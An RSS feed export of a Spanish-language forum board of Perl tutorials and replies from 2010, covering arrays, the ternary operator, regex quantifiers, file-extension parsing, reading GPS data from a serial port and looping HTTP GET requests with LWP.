<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title> - Documentación Perl</title>
<description></description><link>https://foro.undersecurity.net/list.php?10</link><lastBuildDate>Mon, 06 Sep 2010 12:57:11 -0400</lastBuildDate>
<generator>Phorum 5.2.15a</generator>
<item>
<guid>https://foro.undersecurity.net/read.php?10,7881,7881#msg-7881</guid>
<title>Uso de array para retornar varios valores en funciones</title><link>https://foro.undersecurity.net/read.php?10,7881,7881#msg-7881</link><description><![CDATA[Bueno aveces eh tenido este problema, lo que hacia era que los valores lo pasaba a una variable...<br /><br />Ejemplo:<br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="co1">#!/usr/bin/perl </span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> ejemplo<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">,</span> <span class="st0">&quot;<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
&nbsp;
<span class="kw2">sub</span> ejemplo<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
<span class="kw1">for</span><span class="br0">&#40;</span><span class="re0">$i</span><span class="sy0">=</span><span class="nu0">1</span><span class="sy0">;</span><span class="re0">$i</span><span class="sy0">&lt;=</span><span class="nu0">10</span><span class="sy0">;</span><span class="re0">$i</span><span class="sy0">++</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
<span class="re0">$todo</span> <span class="sy0">.=</span><span class="re0">$i</span><span class="sy0">;</span>
<span class="br0">&#125;</span>
<a href="http://perldoc.perl.org/functions/return.html"><span class="kw3">return</span></a> <span class="re0">$todo</span><span class="sy0">;</span>
<span class="br0">&#125;</span></pre>
Salida:<br /><br /><pre class="bbcode">
$ perl script.pl
12345678910</pre><br />Pero tambien puedo hacer uso de los arrays.<br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="co1">#!/usr/bin/perl </span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> ejemplo<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">,</span> <span class="st0">&quot;<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
&nbsp;
<span class="kw2">sub</span> ejemplo<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
<span class="re0">@array</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/qw.html"><span class="kw3">qw</span></a><span class="br0">&#40;</span><span class="nu0">1</span> <span class="nu0">2</span> <span class="nu0">3</span> <span class="nu0">4</span> <span class="nu0">5</span> <span class="nu0">6</span> <span class="nu0">7</span> <span class="nu0">8</span> <span class="nu0">9</span> <span class="nu0">10</span><span class="br0">&#41;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/return.html"><span class="kw3">return</span></a> <span class="re0">@array</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="sy0">..</span><span class="nu0">9</span><span class="br0">&#93;</span><span class="sy0">;</span>
<span class="br0">&#125;</span></pre>
Salida:<br /><br /><pre class="bbcode">
$ perl script2.pl
12345678910</pre><br />Saludos.]]></description>
<dc:creator>yoyahack</dc:creator>
<category>Documentación Perl</category><pubDate>Fri, 27 Aug 2010 17:54:27 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,7702,7711#msg-7711</guid>
<title>Re: Operador ternario</title><link>https://foro.undersecurity.net/read.php?10,7702,7711#msg-7711</link><description><![CDATA[es para optimizar de puta padre ¡<br />en resumen es if abreviado.<br /><br />No tenia idea que se llamaba &quot;operador ternario&quot;]]></description>
<dc:creator>OzX</dc:creator>
<category>Documentación Perl</category><pubDate>Mon, 02 Aug 2010 20:44:00 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,7702,7702#msg-7702</guid>
<title>Operador ternario</title><link>https://foro.undersecurity.net/read.php?10,7702,7702#msg-7702</link><description><![CDATA[El operador ternario evalúa una condición y retorna el valor verdadero o falso dependiendo de la condición que se evalué y dicho valor se le asigna a la variable.<br /><br />sintaxis:<br /><br /><pre class="bbcode">
Condición ? Valor verdadero : Valor falso</pre><br />Ejemplo:<br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="co1">#!/usr/bin/perl</span>
&nbsp;
<span class="kw1">my</span> <span class="re0">$var</span> <span class="sy0">=</span> <span class="br0">&#40;</span><span class="nu0">1</span> <span class="sy0">&gt;</span> <span class="nu0">2</span><span class="br0">&#41;</span> <span class="sy0">?</span> <span class="st0">&quot;Si&quot;</span> <span class="sy0">:</span> <span class="st0">&quot;No&quot;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="re0">$var</span><span class="sy0">,</span> <span class="st0">&quot;<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
&nbsp;
<a href="http://perldoc.perl.org/functions/exit.html"><span class="kw3">exit</span></a><span class="sy0">;</span></pre><br />Salida:<br /><pre class="bbcode">
yoya@yoya-desktop ~/Escritorio $ perl script.pl
No
</pre>]]></description>
<dc:creator>yoyahack</dc:creator>
<category>Documentación Perl</category><pubDate>Sun, 01 Aug 2010 11:00:59 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,7689,7692#msg-7692</guid>
<title>Re: Uso del Cuantificador * en Expresiones Regulares</title><link>https://foro.undersecurity.net/read.php?10,7689,7692#msg-7692</link><description><![CDATA[Otro parametro bastante interesante es el ?<br />Para poder indentificar .* (todo) pero solo 1 vez. (.*?)<br />Por ej<br /><br />&gt; lalala lelelele lililili<br />&gt; Regexp : (.*?)(.*?)(.*?)<br /><br />Al final obtendria lalala, lelele y lililii.<br /><br />Saludos¡]]></description>
<dc:creator>OzX</dc:creator>
<category>Documentación Perl</category><pubDate>Tue, 27 Jul 2010 18:37:38 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,7689,7689#msg-7689</guid>
<title>Uso del Cuantificador * en Expresiones Regulares</title><link>https://foro.undersecurity.net/read.php?10,7689,7689#msg-7689</link><description><![CDATA[Buenas, aveces necesitamos capturar o verificar algo que puede estar o no puede estar, para esto se pude usar el cuantificador *, que indica que algo puede no existir o existir una o varias veces.<br /><br />Ejemplo:<br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="co1">#!/usr/bin/perl    </span>
&nbsp;
<span class="re0">$txt</span> <span class="sy0">=</span> <span class="st_h">'alsklkl.coaa aojoj.as.aaa dsds?.osd fg'</span><span class="sy0">;</span>
<span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$txt</span> <span class="sy0">=~</span> <span class="co2">m/(\w+\.\w+)/g</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="co3">$1</span><span class="sy0">,</span> <span class="st0">&quot;<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<span class="br0">&#125;</span></pre>
Salida:<br /><pre class="bbcode">
$ perl a.pl
alsklkl.coaa
aojoj.as</pre><br />Pero se puede capturar fácilmente lo que esta después del segundo punto...<br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="co1">#!/usr/bin/perl    </span>
&nbsp;
<span class="re0">$txt</span> <span class="sy0">=</span> <span class="st_h">'alsklkl.coaa aojoj.as.aaa dsds?.osd fg'</span><span class="sy0">;</span>
<span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$txt</span> <span class="sy0">=~</span> <span class="co2">m/(\w+\.\w+\.\w+)/g</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="co3">$1</span><span class="sy0">,</span> <span class="st0">&quot;<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<span class="br0">&#125;</span></pre>
Salida:<br /><pre class="bbcode">
$ perl a.pl
aojoj.as.aaa</pre><br />Pero quiero hacer un tipo de regla para capturar los datos que contengan un punto y si existe alguno que también contengan varios puntos, aqui entra el cuantificador *....<br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="co1">#!/usr/bin/perl    </span>
&nbsp;
<span class="re0">$txt</span> <span class="sy0">=</span> <span class="st_h">'alsklkl.coaa aojoj.as.aaa dsds?.osd'</span><span class="sy0">;</span>
<span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$txt</span> <span class="sy0">=~</span> <span class="co2">m/(\w+\.\w+\.*\w+)/g</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="co3">$1</span><span class="sy0">,</span> <span class="st0">&quot;<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<span class="br0">&#125;</span></pre><br />Salida:<br /><pre class="bbcode">
$ perl a.pl
alsklkl.coaa
aojoj.as.aaa</pre><br />Saludos.]]></description>
<dc:creator>yoyahack</dc:creator>
<category>Documentación Perl</category><pubDate>Tue, 27 Jul 2010 00:10:31 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,7470,7470#msg-7470</guid>
<title>[Script] ¿Como Leer GPS Desde Puerto Serial en Ubuntu con Perl?</title><link>https://foro.undersecurity.net/read.php?10,7470,7470#msg-7470</link><description><![CDATA[<pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="co1">#!/usr/bin/perl -w</span>
<span class="co1">#use strict; #Esta linea es para hacer obligatorio la declaracion de variablesuse</span>
<span class="kw2">use</span> Device<span class="sy0">::</span><span class="me2">SerialPort</span><span class="sy0">;</span> <span class="co1"># Declaramos el Modulo para manejo de puertos</span>
<span class="kw1">my</span> <span class="re0">$serial</span> <span class="sy0">=</span> Device<span class="sy0">::</span><span class="me2">SerialPort</span><span class="sy0">-&gt;</span><span class="me1">new</span><span class="br0">&#40;</span><span class="st0">&quot;/dev/ttyUSB0&quot;</span><span class="br0">&#41;</span> <span class="sy0">||</span> <a href="http://perldoc.perl.org/functions/die.html"><span class="kw3">die</span></a> <span class="st0">&quot;No se pudo abrir el puerto&quot;</span><span class="sy0">;</span> <span class="co1"># configuracion del Puerto serial USB</span>
<span class="re0">$serial</span><span class="sy0">-&gt;</span><span class="me1">baudrate</span><span class="br0">&#40;</span><span class="nu0">4800</span><span class="br0">&#41;</span><span class="sy0">;</span> <span class="co1"># Velocidad del Puerto o Razon de Bits(9600)</span>
<span class="re0">$serial</span><span class="sy0">-&gt;</span><span class="me1">read_char_time</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span>     <span class="co1"># don't wait for each character</span>
<span class="re0">$serial</span><span class="sy0">-&gt;</span><span class="me1">read_const_time</span><span class="br0">&#40;</span><span class="nu0">1000</span><span class="br0">&#41;</span><span class="sy0">;</span> <span class="co1"># 1 second per unfulfilled &quot;read&quot; call</span>
<span class="re0">$serial</span><span class="sy0">-&gt;</span><span class="me1">write_settings</span><span class="sy0">;</span> <span class="co1">#</span>
<span class="co1"># Envio de Datos por el Puerto Serial</span>
&nbsp;
&nbsp;
<span class="kw1">my</span> <span class="re0">$data</span><span class="sy0">;</span>
<span class="kw1">while</span><span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
	<span class="kw1">my</span> <span class="br0">&#40;</span><span class="re0">$count</span><span class="sy0">,</span><span class="re0">$saw</span><span class="br0">&#41;</span><span class="sy0">=</span><span class="re0">$serial</span><span class="sy0">-&gt;</span><span class="me1">read</span><span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
		<span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$saw</span> <span class="kw1">ne</span> <span class="st_h">'$'</span><span class="br0">&#41;</span><span class="br0">&#123;</span> <span class="co1"># $</span>
		   <span class="re0">$data</span> <span class="sy0">.=</span><span class="re0">$saw</span><span class="sy0">;</span>
		<span class="br0">&#125;</span><span class="kw1">else</span><span class="br0">&#123;</span>
	   <span class="co1">#http://aprs.gids.nl/nmea/#rmc</span>
&nbsp;
	   <span class="co1">#eg2. $GPRMC,225446,A,4916.45,N,12311.12,W,000.5,054.7,191194,020.3,E*68</span>
           <span class="co1">#225446       Time of fix 22:54:46 UTC</span>
           <span class="co1">#A            Navigation receiver warning A = OK, V = warning</span>
           <span class="co1">#4916.45,N    Latitude 49 deg. 16.45 min North</span>
           <span class="co1">#12311.12,W   Longitude 123 deg. 11.12 min West</span>
           <span class="co1">#000.5        Speed over ground, Knots</span>
           <span class="co1">#054.7        Course Made Good, True</span>
           <span class="co1">#191194       Date of fix  19 November 1994</span>
           <span class="co1">#020.3,E      Magnetic variation 20.3 deg East</span>
           <span class="co1">#*68          mandatory checksum</span>
&nbsp;
		<span class="kw1">my</span> <span class="br0">&#40;</span><span class="re0">$id</span><span class="sy0">,</span><span class="re0">$hora</span><span class="sy0">,</span><span class="re0">$estado</span><span class="sy0">,</span><span class="re0">$lat</span><span class="sy0">,</span><span class="re0">$c_lat</span><span class="sy0">,</span><span class="re0">$lng</span><span class="sy0">,</span><span class="re0">$c_lng</span><span class="sy0">,</span><span class="re0">$velocidad</span><span class="sy0">,</span><span class="re0">$curso</span><span class="sy0">,</span><span class="re0">$fecha</span><span class="sy0">,</span><span class="re0">$variacion_mag</span><span class="sy0">,</span><span class="re0">$chsum</span><span class="br0">&#41;</span> <span class="sy0">=</span>  <a href="http://perldoc.perl.org/functions/split.html"><span class="kw3">split</span></a><span class="br0">&#40;</span><span class="st0">&quot;,&quot;</span><span class="sy0">,</span><span class="re0">$data</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
		<span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$id</span> <span class="kw1">eq</span> <span class="st_h">'GPRMC'</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
			<span class="co1">#print &quot;ID &quot; .$id.&quot;\t&quot;.$estado.&quot;\t&quot;.$hora.&quot;\t&quot;.$lat.&quot;\t&quot;.$c_lat.&quot;\t&quot;.$lng.&quot;\t&quot;.$c_lng.&quot;\n&quot;;	 </span>
&nbsp;
&nbsp;
		<span class="co1">#print $c_lat.&quot;,&quot;.$c_lng.&quot;\n&quot;;#S,W</span>
&nbsp;
		<span class="kw1">my</span> <span class="re0">$lat_map</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/substr.html"><span class="kw3">substr</span></a><span class="br0">&#40;</span><span class="re0">$lat</span><span class="sy0">,</span><span class="nu0">2</span><span class="sy0">,</span><a href="http://perldoc.perl.org/functions/length.html"><span class="kw3">length</span></a><span class="br0">&#40;</span><span class="re0">$lat</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="sy0">/</span> <span class="nu0">60</span> <span class="sy0">+</span> <a href="http://perldoc.perl.org/functions/substr.html"><span class="kw3">substr</span></a><span class="br0">&#40;</span><span class="re0">$lat</span><span class="sy0">,</span><span class="nu0">0</span><span class="sy0">,</span><span class="nu0">2</span><span class="br0">&#41;</span><span class="sy0">;</span>
		<span class="kw1">my</span> <span class="re0">$lng_map</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/substr.html"><span class="kw3">substr</span></a><span class="br0">&#40;</span><span class="re0">$lng</span><span class="sy0">,</span><span class="nu0">3</span><span class="sy0">,</span><a href="http://perldoc.perl.org/functions/length.html"><span class="kw3">length</span></a><span class="br0">&#40;</span><span class="re0">$lng</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="sy0">/</span> <span class="nu0">60</span> <span class="sy0">+</span> <a href="http://perldoc.perl.org/functions/substr.html"><span class="kw3">substr</span></a><span class="br0">&#40;</span><span class="re0">$lng</span><span class="sy0">,</span><span class="nu0">0</span><span class="sy0">,</span><span class="nu0">3</span><span class="br0">&#41;</span> <span class="sy0">;</span>
		<span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$c_lat</span> <span class="kw1">eq</span> <span class="st_h">'S'</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
			<span class="re0">$lat_map</span> <span class="sy0">=</span> <span class="re0">$lat_map</span> <span class="sy0">*</span> <span class="sy0">-</span><span class="nu0">1</span><span class="sy0">;</span>
		<span class="br0">&#125;</span>
		<span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$c_lng</span> <span class="kw1">eq</span> <span class="st_h">'W'</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
			<span class="re0">$lng_map</span>  <span class="sy0">=</span> <span class="re0">$lng_map</span> <span class="sy0">*</span> <span class="sy0">-</span><span class="nu0">1</span><span class="sy0">;</span>
		<span class="br0">&#125;</span>
		<span class="co1">#print  $lat_map.&quot;,&quot;.$lng_map.&quot;\n&quot;;</span>
		<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a>  <span class="st0">&quot;http://maps.google.cl/maps?q=&quot;</span><span class="sy0">.</span><span class="re0">$lat_map</span><span class="sy0">.</span><span class="st0">&quot;,&quot;</span><span class="sy0">.</span><span class="re0">$lng_map</span><span class="sy0">.</span><span class="st0">&quot;<span class="es0">\n</span>&quot;</span><span class="sy0">;</span> 	
<span class="br0">&#125;</span>
		<span class="re0">$data</span> <span class="sy0">=</span> <span class="st_h">''</span><span class="sy0">;</span>
&nbsp;
		<span class="br0">&#125;</span>
<span class="br0">&#125;</span></pre><br />Vualaa¡¡¡<br />Gracias P0fk ¡¡¡ Por Ayudarme con el Max232¡¡¡<br />Funka de pushamadre¡¡]]></description>
<dc:creator>OzX</dc:creator>
<category>Documentación Perl</category><pubDate>Sun, 27 Jun 2010 03:25:50 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,7313,7317#msg-7317</guid>
<title>Re: Repitiendo petición GET/POST el numero indicado de veces....</title><link>https://foro.undersecurity.net/read.php?10,7313,7317#msg-7317</link><description><![CDATA[Si, tienes la razón OzX, nunca me eh dado cuenta sobre eso.<br /><br />Saludos.]]></description>
<dc:creator>yoyahack</dc:creator>
<category>Documentación Perl</category><pubDate>Wed, 02 Jun 2010 19:17:08 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,7313,7316#msg-7316</guid>
<title>Re: Repitiendo petición GET/POST el numero indicado de veces....</title><link>https://foro.undersecurity.net/read.php?10,7313,7316#msg-7316</link><description><![CDATA[cada ve que ejecutas<br /><pre class="bbcode">
my $ua = new LWP::UserAgent;</pre><br />estas generando una nueva instanciacion por cada vuelta, de algo que es igual para todas las peticiones. por lo tanto estas gastando memoria de mas.<br /><br /><br /><pre class="bbcode">
#!/usr/bin/perl -w
 
#Modulos
use LWP::UserAgent;
use HTTP::Request;
 
#Code
my $ua = new LWP::UserAgent;
$ua-&gt;agent(&quot; Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3&quot;);
$ua-&gt;timeout(7) || die &quot;Conecction faield&quot;;

	for($i=1;$i &lt;= 2;$i++){
		print &quot;Petcion numero $i\n&quot;;
		get('http://www.google.com',$ua);#Hacemos una peticion GET a google.com
	}
 
#Funcion GET
sub get {
    my $pagina = $_[0];
    my $ua = $_[1];
    my $busqueda = new HTTP::Request GET =&gt; $pagina;
    my $resultado = $ua-&gt;request($busqueda);
    my $result = $resultado-&gt;content();
}
 
exit;</pre><br /><pre class="bbcode">
time perl version_nueva.pl
Petcion numero 1
Petcion numero 2

<b>real	0m1.549s</b>
user	0m0.188s
sys	0m0.024s
oz@Ozx:~/Escritorio$ time perl version_vieja.pl
Petcion numero 1
Petcion numero 2

<b>real	0m1.715s</b>
user	0m0.192s
sys	0m0.008s
</pre>]]></description>
<dc:creator>OzX</dc:creator>
<category>Documentación Perl</category><pubDate>Wed, 02 Jun 2010 19:10:06 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,7313,7313#msg-7313</guid>
<title>Repitiendo petición GET/POST el numero indicado de veces....</title><link>https://foro.undersecurity.net/read.php?10,7313,7313#msg-7313</link><description><![CDATA[Buenas, una vez tuve este problema, aunque esto también se puede usar para <a href="http://es.wikipedia.org/wiki/Ataques_de_denegaci%C3%B3n_de_servicio" target="_blank" rel="nofollow" ><i>DoS</i></a>, lo que quería hacer era realizar un numero determinado de veces de peticiones GET/POST y pensé re alisarlo con un simple for()...<br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="co1">#!/usr/bin/perl -w</span>
&nbsp;
<span class="co1">#Modulos</span>
<span class="kw2">use</span> LWP<span class="sy0">::</span><span class="me2">UserAgent</span><span class="sy0">;</span>
<span class="kw2">use</span> HTTP<span class="sy0">::</span><span class="me2">Request</span><span class="sy0">;</span>
&nbsp;
<span class="co1">#Code</span>
&nbsp;
<span class="kw1">for</span><span class="br0">&#40;</span><span class="re0">$i</span><span class="sy0">=</span><span class="nu0">1</span><span class="sy0">;</span><span class="re0">$i</span> <span class="sy0">&lt;=</span> <span class="nu0">2</span><span class="sy0">;</span><span class="re0">$i</span><span class="sy0">++</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;Petcion numero $i<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
get<span class="br0">&#40;</span><span class="st_h">'http://www.google.com'</span><span class="br0">&#41;</span><span class="sy0">;</span><span class="co1">#Hacemos una peticion GET a google.com</span>
<span class="br0">&#125;</span>
&nbsp;
<span class="co1">#Funcion GET</span>
<span class="kw2">sub</span> get <span class="br0">&#123;</span>
    <span class="kw1">my</span> <span class="re0">$pagina</span> <span class="sy0">=</span> <span class="co5">$_</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="sy0">;</span>
&nbsp;
    <span class="kw1">my</span> <span class="re0">$ua</span> <span class="sy0">=</span> <span class="kw2">new</span> LWP<span class="sy0">::</span><span class="me2">UserAgent</span><span class="sy0">;</span>
    <span class="re0">$ua</span><span class="sy0">-&gt;</span><span class="me1">agent</span><span class="br0">&#40;</span><span class="st0">&quot; Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.2.3)      
    Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span>
&nbsp;
    <span class="kw1">my</span> <span class="re0">$busqueda</span> <span class="sy0">=</span> <span class="kw2">new</span> HTTP<span class="sy0">::</span><span class="me2">Request</span> GET <span class="sy0">=&gt;</span> <span class="re0">$pagina</span><span class="sy0">;</span>
    <span class="kw1">my</span> <span class="re0">$resultado</span> <span class="sy0">=</span> <span class="re0">$ua</span><span class="sy0">-&gt;</span><span class="me1">request</span><span class="br0">&#40;</span><span class="re0">$busqueda</span><span class="br0">&#41;</span><span class="sy0">;</span>
    <span class="re0">$ua</span><span class="sy0">-&gt;</span><span class="me1">timeout</span><span class="br0">&#40;</span><span class="nu0">7</span><span class="br0">&#41;</span> <span class="sy0">||</span> <a href="http://perldoc.perl.org/functions/die.html"><span class="kw3">die</span></a> <span class="st0">&quot;Conecction faield&quot;</span><span class="sy0">;</span>
    <span class="kw1">my</span> <span class="re0">$result</span> <span class="sy0">=</span> <span class="re0">$resultado</span><span class="sy0">-&gt;</span><span class="me1">content</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="br0">&#125;</span>
&nbsp;
<a href="http://perldoc.perl.org/functions/exit.html"><span class="kw3">exit</span></a><span class="sy0">;</span></pre><br />Salida:<br /><pre class="bbcode">
yoya@Yoya-desktop:~/Escritorio$ perl script.pl
Petcion numero 1
Petcion numero 2
yoya@Yoya-desktop:~/Escritorio$
</pre>]]></description>
<dc:creator>yoyahack</dc:creator>
<category>Documentación Perl</category><pubDate>Wed, 02 Jun 2010 17:40:42 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,6887,6889#msg-6889</guid>
<title>Re: Capturando desde-hasta con expresiones regulares</title><link>https://foro.undersecurity.net/read.php?10,6887,6889#msg-6889</link><description><![CDATA[me gustaria resaltar la facilidad con que perl expone las REGEXP, por ej $1 es el primer valor obtenido, si existieran otros seguirian correlativamente $2,$3, etc ¡<br />Saludos Yoya ¡]]></description>
<dc:creator>OzX</dc:creator>
<category>Documentación Perl</category><pubDate>Fri, 26 Mar 2010 16:22:31 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,6887,6887#msg-6887</guid>
<title>Capturando desde-hasta con expresiones regulares</title><link>https://foro.undersecurity.net/read.php?10,6887,6887#msg-6887</link><description><![CDATA[Bueno, en perl existe el cuantificador {m,n} para las expresiones regulares, que significa mínimo y máximo. Lo podemos usar para capturar, verificar, y eliminar... En este caso lo empleo para capturar x texto.<br /><br />Ej:<br /><pre class="bbcode">
#!/usr/bin/perl

$txt = 'hola';
if($txt =~ m/(\w{3})/){
print $1, &quot;\n&quot;;
}</pre><br />Salida:<br /><pre class="bbcode">
yoya@yoya-desktop:~/Escritorio$ perl a.pl
hol
</pre>]]></description>
<dc:creator>yoyahack</dc:creator>
<category>Documentación Perl</category><pubDate>Fri, 26 Mar 2010 11:43:37 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,6806,6810#msg-6810</guid>
<title>Re: Obtener la extensión de archivos con expresiones regulares</title><link>https://foro.undersecurity.net/read.php?10,6806,6810#msg-6810</link><description><![CDATA[lo de los : son metadatos de ntfs, podes poner un archivo dentro de otro<br /><br />http://hack2sec.wordpress.com/2009/04/07/ocultacion-de-datos-en-ntfs-ads/]]></description>
<dc:creator>seth</dc:creator>
<category>Documentación Perl</category><pubDate>Fri, 12 Mar 2010 13:33:29 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,6806,6809#msg-6809</guid>
<title>Re: Obtener la extensión de archivos con expresiones regulares</title><link>https://foro.undersecurity.net/read.php?10,6806,6809#msg-6809</link><description><![CDATA[<pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="co1">#/usr/bin/perl</span>
&nbsp;
<span class="re0">@ext</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/qw.html"><span class="kw3">qw</span></a><span class="br0">&#40;</span>hola<span class="sy0">.</span>php ar<span class="sy0">.</span>hl<span class="sy0">.</span>html<span class="sy0">.</span>sss pl<span class="sy0">.</span>pl <span class="sy0">.</span>ert qwe<span class="sy0">,</span>asd<span class="sy0">.</span>txt<span class="br0">&#41;</span><span class="sy0">;</span>
<span class="kw1">foreach</span> <span class="re0">$ext</span><span class="br0">&#40;</span><span class="re0">@ext</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
<span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$ext</span> <span class="sy0">=~</span> <span class="co2">m/(\w+)$/</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;$ext Extencion: $1<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
 <span class="br0">&#125;</span>
<span class="br0">&#125;</span></pre><br />Salida:<br /><pre class="bbcode">
hola.php Extencion: php
ar.hl.html.sss Extencion: sss
pl.pl Extencion: pl
.ert Extencion: ert
qwe,asd.txt Extencion: txt</pre><br /><br />Recuerda que capturo desde el fin de cadena hacia al principio.<br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong>o si es &quot;archivo.doc:metadatos&quot;?</strong><br/></div></blockquote>
No me e topado con una extencion asi xD.<br /><a href="http://es.wikipedia.org/wiki/Extensi%C3%B3n_de_archivo" target="_blank" rel="nofollow" >http://es.wikipedia.org/wiki/Extensi%C3%B3n_de_archivo</a><br /><br /><hr class="bbcode"/><br />Aunque bueno, en ese caso se solucionaria facir xD.<br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="co1">#/usr/bin/perl</span>
&nbsp;
<span class="re0">@ext</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/qw.html"><span class="kw3">qw</span></a><span class="br0">&#40;</span>archivo<span class="sy0">.</span>doc<span class="sy0">:</span>metadatos<span class="br0">&#41;</span><span class="sy0">;</span>
<span class="kw1">foreach</span> <span class="re0">$ext</span><span class="br0">&#40;</span><span class="re0">@ext</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
<span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$ext</span> <span class="sy0">=~</span> <span class="co2">m/\.(.+)$/</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;$ext Extencion: $1<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
 <span class="br0">&#125;</span>
<span class="br0">&#125;</span></pre>
Salida:<pre class="bbcode">
archivo.doc:metadatos Extencion: doc:metadatos</pre><br />Tambien se podria reemplazar los caracteres No alfanumericos para pasar el texto por las expreciones regulares mas limpio y luego agregarselo xD.<br />Saludos....]]></description>
<dc:creator>yoyahack</dc:creator>
<category>Documentación Perl</category><pubDate>Thu, 11 Mar 2010 18:43:08 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,6806,6808#msg-6808</guid>
<title>Re: Obtener la extensión de archivos con expresiones regulares</title><link>https://foro.undersecurity.net/read.php?10,6806,6808#msg-6808</link><description><![CDATA[que pasa si el archivo se llama &quot;qwe,asd.txt&quot;?<br />o si es &quot;archivo.doc:metadatos&quot;?]]></description>
<dc:creator>seth</dc:creator>
<category>Documentación Perl</category><pubDate>Thu, 11 Mar 2010 18:27:40 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?10,6806,6806#msg-6806</guid>
